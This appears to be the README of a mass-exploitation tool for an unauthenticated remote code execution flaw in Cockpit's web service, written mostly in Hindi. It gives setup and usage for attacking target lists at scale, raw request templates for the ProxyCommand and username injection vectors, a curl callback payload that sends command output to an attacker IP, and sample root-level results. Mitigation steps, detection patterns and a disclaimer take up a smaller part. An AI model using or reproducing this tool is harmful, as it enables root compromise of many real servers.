SSH कमांड-लाइन तर्क इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन | Cockpit संस्करण 327 – 359 | CVSS 9.8 गंभीर | CWE-78
SSH कमांड-लाइन आर्गुमेंट इंजेक्शन के माध्यम से अनऑथेंटिकेटेड रिमोट कोड एक्सीक्यूशन Cockpit संस्करण 327 – 359 | CVSS 9.8 क्रिटिकल | CWE-78
CVE-2026-4631 के लिए Cockpit वेब सर्विस (cockpit-ws, पोर्ट 9090) पर मास एक्सप्लॉइटेशन टूल। वल्नरेबिलिटी स्कैन मोड, बिल्ट-इन HTTP कॉलबैक लिसनर के माध्यम से कमांड आउटपुट कैप्चर के साथ RCE मोड, --auto मोड (डिफ़ॉल्ट कमांड id के साथ एक ही बार में स्कैन + एक्सप्लॉइट), बिना पोर्ट वाले टार्गेट के लिए पोर्ट :9090 ऑटो-एड, दोनों अटैक वेक्टर (ProxyCommand + यूज़रनेम %r इंजेक्शन), फ़ाइल से मास टार्गेट, कॉन्करेंसी थ्रेडिंग, और संरचित परिणाम आउटपुट सपोर्ट करता है।
लेखक: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
targets.txt संपादित करें — एक पंक्ति में एक होस्ट। यदि पोर्ट नहीं है तो :9090 स्वचालित रूप से जोड़ा जाता है:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631 एक blind RCE है — कमांड का आउटपुट HTTP रिस्पॉन्स में वापस नहीं आता। टूल आउटपुट कैप्चर करने के लिए बिल्ट-इन HTTP लिसनर (डिफ़ॉल्ट पोर्ट 8888) का उपयोग करता है। सुनिश्चित करें:
--callback-ip वह IP है जो टार्गेट से रीचेबल हो (127.0.0.1 नहीं)8888 की अनुमति दे (या कस्टम --listener-port)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
/etc/cockpit/cockpit.conf संपादित करें:
[WebService]
LoginTo = false
सर्विस रीस्टार्ट करें:
sudo systemctl restart cockpit
पोर्ट 9090 को केवल मैनेजमेंट नेटवर्क तक सीमित करें:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
अर्ली होस्टनेम वैलिडेशन के माध्यम से Vector 1 (ProxyCommand इंजेक्शन) को मिटिगेट करता है:
ssh -V # harus OpenSSH_9.6 atau lebih baru
यदि 360 में अपग्रेड नहीं कर सकते, तो पैच कमिट लागू करें:
beiboot.py और cockpitauth.c में -- सेपरेटर जोड़ेंsession.py में -- जोड़ेंपैच विवरण: docs/PATCH_ANALYSIS.md देखें
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Severity | क्रिटिकल (CVSS 9.8) |
| CWE | CWE-78 — OS कमांड इंजेक्शन |
| Affected | Cockpit 327 – 359 |
| Fixed in | Cockpit 360+ |
| Auth required | नहीं (प्री-ऑथेंटिकेशन) |
| Reporter | Jelle van der Waa |
| Service | cockpit-ws, डिफ़ॉल्ट पोर्ट 9090 |
Cockpit v327 ने cockpit-ssh (libssh) को python3 -m cockpit.beiboot से बदल दिया जो सिस्टम OpenSSH ssh क्लाइंट को इनवोक करता है। यूज़र-नियंत्रित इनपुट — URL पाथ से होस्टनेम और Authorization: Basic हेडर से यूज़रनेम — बिना सैनिटाइज़ेशन और बिना -- end-of-options सेपरेटर के ssh को पास किया जाता है। इंजेक्शन क्रेडेंशियल वेरिफिकेशन से पहले होता है, इसलिए वैध लॉगिन की आवश्यकता नहीं होती।
URL पाथ से होस्टनेम को SSH विकल्प -oProxyCommand=<cmd> के साथ इंजेक्ट किया जाता है।
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH -oProxyCommand=<cmd> को विकल्प के रूप में पार्स करता है और <cmd> को ProxyCommand के रूप में एक्सीक्यूट करता है। कमांड cockpit-ws यूज़र प्रोसेस के रूप में चलती है।
पूर्वापेक्षा: टार्गेट पर OpenSSH < 9.6। OpenSSH 9.6+ में अर्ली होस्टनेम वैलिडेशन होता है जो मेटाकैरेक्टर्स को ब्लॉक करता है।
%r टोकन इंजेक्शन (द्वितीयक)Authorization: Basic हेडर से यूज़रनेम को शेल कमांड के साथ इंजेक्ट किया जाता है।
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH Match exec डायरेक्टिव में %r को यूज़रनेम के साथ एक्सपैंड करता है → शेल इंजेक्टेड कमांड को एक्सीक्यूट करता है।
पूर्वापेक्षा: टार्गेट ssh_config में %r टोकन के साथ Match exec डायरेक्टिव हो।
LoginTo) डिसेबल न होMatch exec %r के साथ ssh_config# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Install dependency
pip install -r requirements.txt
# Verifikasi
python3 exploit.py --help
requests>=2.31 — एक्सप्लॉइट रिक्वेस्ट के लिए HTTP क्लाइंटcolorama>=0.4 — रंगीन टर्मिनल आउटपुटलिसनर के लिए कोई अतिरिक्त निर्भरता नहीं है (stdlib http.server + threading का उपयोग करता है)।
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection
optional arguments:
-h, --help show this help message and exit
-t, --target single target URL/host (port auto-added jika absent)
-f, --file file containing list of targets (one per line)
--default-port port yang di-append jika target tanpa port (default: 9090)
-c, --cmd command to execute (default: "id" pada mode --auto / RCE)
--scan vulnerability scan mode (no RCE, probe endpoint only)
--auto scan + exploit sekali jalan, command default "id"
--vector exploit vector: auto|proxycommand|username (default: auto)
-o, --output result output file (default: results.txt)
--callback-ip attacker IP reachable from target (for callback listener)
--listener-port callback listener port (default: 8888)
--threads concurrent workers (default: 10)
--timeout seconds to wait for callback per target (default: 10)
--delay delay between requests in seconds (default: 0)
--proxy HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
--user-agent custom User-Agent string
-v, --verbose verbose output (debug)
--no-color disable colored output
--scan)बिना एक्सप्लॉइट के एंडपॉइंट /cockpit+=probe-host/login पर प्रोब करें। डिटेक्शन:
कोई हानिकारक पेलोड नहीं भेजता, कॉलबैक लिसनर की आवश्यकता नहीं होती।
-c "cmd")टार्गेट पर कमांड एक्सीक्यूट करें, कॉलबैक के माध्यम से आउटपुट कैप्चर करें:
curl के साथ लपेटकर लिसनर तक एक्सफिल करता है-c नहीं दिया गया, तो डिफ़ॉल्ट कमांड = id--auto) — अनुशंसितएक ही पास में स्कैन + एक्सप्लॉइट, डिफ़ॉल्ट कमांड id:
id के साथ एक्सप्लॉइट करें (या -c से ओवरराइड)host [ uid=0(root) ... ]--vector auto)पहले Vector 1 (ProxyCommand) आज़माएँ। यदि रिस्पॉन्स OpenSSH >= 9.6 (होस्टनेम वैलिडेशन एरर) दिखाता है, तो Vector 2 (यूज़रनेम %r) पर फॉलबैक करें।
targets.txt में बिना पोर्ट वाली प्रत्येक एंट्री में स्वचालित रूप से :9090 जोड़ा जाता है:
host → http://host:9090
host:9090 → http://host:9090
https://host → https://host:9090
192.168.1.10 → http://192.168.1.10:9090
[::1] → http://[::1]:9090
# Target tanpa port → auto :9090, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# Override command
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
आउटपुट results.txt:
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]
python3 exploit.py -f targets.txt --scan -o scan_results.txt
आउटपुट scan_results.txt:
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalent: -t http://target:9090/
आउटपुट:
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
# Force Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand
# Force Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username
python3 exploit.py -f targets.txt -c "id" \
--callback-ip 10.10.10.10 \
--listener-port 9999 \
--threads 50 \
--timeout 15 \
--delay 0.2
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
परिणाम फ़ाइल का फॉर्मेट प्रति-टार्गेट एक पंक्ति:
<host> [ <status_or_output> ]
| स्थिति | अर्थ |
|---|---|
uid=0(root) ... | RCE सफल, कमांड आउटपुट कैप्चर हुआ |
VULN - no callback received (OpenSSH >= 9.6?) | टार्गेट वल्नरेबल है लेकिन Vector 1 OpenSSH 9.6+ द्वारा ब्लॉक है, Vector 2 आज़माएँ |
VULN - endpoint active | स्कैन मोड, वल्नरेबल एंडपॉइंट डिटेक्ट हुआ |
NOT VULN | Cockpit >= 360 या एंडपॉइंट मौजूद नहीं |
UNREACHABLE | कनेक्शन विफल / कनेक्शन टाइमआउट |
ERROR: <msg> | निष्पादन के दौरान एक्सेप्शन |
परिणाम फ़ाइल का हेडर टाइमस्टैम्प, कमांड, वेक्टर और टार्गेट की संख्या दर्ज करता है।
flowchart TD
CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
CLI --> Engine["core/engine.py<br/>orchestrator"]
Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
Pool --> Scanner["core/scanner.py<br/>vuln probe"]
Pool --> Exploit["core/exploit.py<br/>payload generator"]
Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
Req2 --> Target["Cockpit target :9090"]
Target -->|"blind RCE<br/>curl callback"| Listener
Listener --> Shared["shared dict<br/>REQID -> output"]
Engine --> Result["utils/result.py<br/>write results.txt"]
Shared --> Engine-f file / -t url पढ़ता है, नॉर्मलाइज़ेशन करता है (http:// जोड़ता है, डिफ़ॉल्ट पोर्ट 9090), डिडुप्लिकेशन करता है--scan मोड, एंडपॉइंट प्रोब, Cockpit फ़िंगरप्रिंट, वल्नरेबिलिटी अनुमानrequests के माध्यम से एक्सप्लॉइट रिक्वेस्ट भेजता है--callback-ip:--listener-port पर ThreadingHTTPServer, ?id=REQID&out=BASE64 पार्स करता है, शेयर्ड डिक्ट में सहेजता हैhost [ output ] फॉर्मेट के साथ परिणाम फ़ाइल लेखकCVE-2026-4631-cockpit-RCE/
├── exploit.py # entry point CLI
├── requirements.txt # dependencies
├── README.md # dokumentasi ini
├── targets.txt # contoh target list
├── results.txt # output (generated)
├── core/
│ ├── __init__.py
│ ├── target.py # parser target
│ ├── scanner.py # mode scan vuln
│ ├── exploit.py # payload generator + sender
│ ├── listener.py # HTTP callback server
│ └── engine.py # orchestrator
├── utils/
│ ├── __init__.py
│ ├── banner.py # ASCII banner
│ └── result.py # result writer
└── docs/
├── VULN_ANALYSIS.md # analisis mendalam vulnerability
├── PATCH_ANALYSIS.md # analisis patch commit
└── DETECTION.md # signature deteksi
CVE-2026-4631 एक blind RCE है — कमांड आउटपुट Cockpit के HTTP रिस्पॉन्स में वापस नहीं भेजा जाता। टूल बिल्ट-इन HTTP कॉलबैक लिसनर के साथ इसका समाधान करता है:
--callback-ip:--listener-port पर सुनता हैbash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
Authorization: Basic base64("x:x")
requests.get के माध्यम से, self-signed प्रमाणपत्र के लिए verify=False--timeout तक शेयर्ड डिक्ट results[REQID] को पोल करेंhost [ decoded_output ] आउटपुट फ़ाइल मेंयदि कॉलबैक के बिना टाइमआउट होता है, तो SSH एरर रिस्पॉन्स जाँचें:
VULN - no callback (OpenSSH >= 9.6?)UNREACHABLENOT VULNThreadPoolExecutor(max_workers=--threads) प्रति टार्गेट समानांतरthreading.Lock के साथ शेयर्ड dict[REQID] -> target_host + dict[REQID] -> outputThreadingHTTPServer समवर्ती कॉलबैक हैंडल करता हैtry/except: कनेक्शन एरर, SSL एरर, टाइमआउटGET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
इन पर ध्यान दें:
-oProxyCommand=Authorization: Basic वैल्यू में सेमीकोलन (;)journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
/etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu
rpm -q cockpit-ws # RHEL/Fedora
# Vulnerable: 327 <= version <= 359
यह टूल अधिकृत पेनेट्रेशन टेस्टिंग, सुरक्षा अनुसंधान, और वल्नरेबिलिटी वैलिडेशन के लिए बनाया गया है, उन सिस्टम्स पर जिनके आप मालिक हैं या जिनके परीक्षण की लिखित अनुमति आपके पास है।
मालिक की स्पष्ट अनुमति के बिना सिस्टम पर इस टूल का उपयोग अवैध है और लागू कानून के अनुसार आपराधिक दंड हो सकता है (इंडोनेशिया में: UU ITE धारा 30-33)।
लेखक इस टूल के दुरुपयोग के लिए ज़िम्मेदार नहीं है। इसे नैतिक और ज़िम्मेदारी से उपयोग करें।
अधिकृत उपयोग के मामले:
| संसाधन | URL |
|---|---|
| GitHub एडवाइज़री | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| OSS-Security डिस्क्लोज़र | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Red Hat Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| NVD एंट्री | https://nvd.nist.gov/vuln/detail/cve-2026-4631 |
| फिक्स कमिट (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| फिक्स कमिट (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| CPython argparse बग | https://github.com/python/cpython/issues/66623 |
| OpenSSH 9.6 होस्टनेम वैलिडेशन | https://github.com/openssh/openssh-portable/commit/7ef3787 |
| रेफरेंस PoC | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE |
अनुसंधान और अधिकृत टेस्टिंग के उद्देश्यों के लिए। बिना अनुमति के व्यावसायिक वितरण के लिए नहीं।